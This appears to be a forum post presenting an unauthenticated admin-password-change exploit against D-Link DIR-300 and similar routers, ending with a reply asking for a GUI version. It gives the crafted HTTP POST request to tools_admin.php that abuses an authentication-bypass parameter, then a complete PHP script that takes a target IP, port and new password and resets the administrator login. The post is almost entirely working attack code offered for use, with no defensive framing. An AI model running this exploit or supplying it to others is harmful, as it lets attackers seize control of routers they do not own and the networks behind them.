Change D-Link DIR-300 (and others) routers password

Control panel script - tools_admin.php allows attacker to change
administrator name, password and other variables without any
authorization by sending specially crafted http post request such as:

---cut here---
POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0

ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&logi n=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name= admin&admin_password1=uhOHahEh
---cut here---

That was the HTTP POST request. You can send it using any language like PHP, PERL, PYTHON... That's the PHP code:

Code:

<?php if(sizeof($argv)!=4) { echo "Usage: php5 $argv[0] <router ip addres> <port> <admin password>\n"; exit; } $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_PORT, $argv[2]); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3])); echo "+ starting request\n"; $out = curl_exec($ch); if($out===false) { echo "- Error: could not connect ( http://$argv[1]:$argv[2]/tools_admin.php).\n"; exit; } else echo "+ request sended\n"; curl_close($ch); if(stripos($out,"login.php")===true) { echo "- something goes wrong (check answer - answer.html) !\n"; $f=fopen("answer.html","w"); fwrite($f,$out); fclose($f); exit; } else echo "+ ok, now you can login using l: admin p:$argv[3]\n"; ?>

If you want, I will make an GUI executable file and post it here later.

can you do that please?
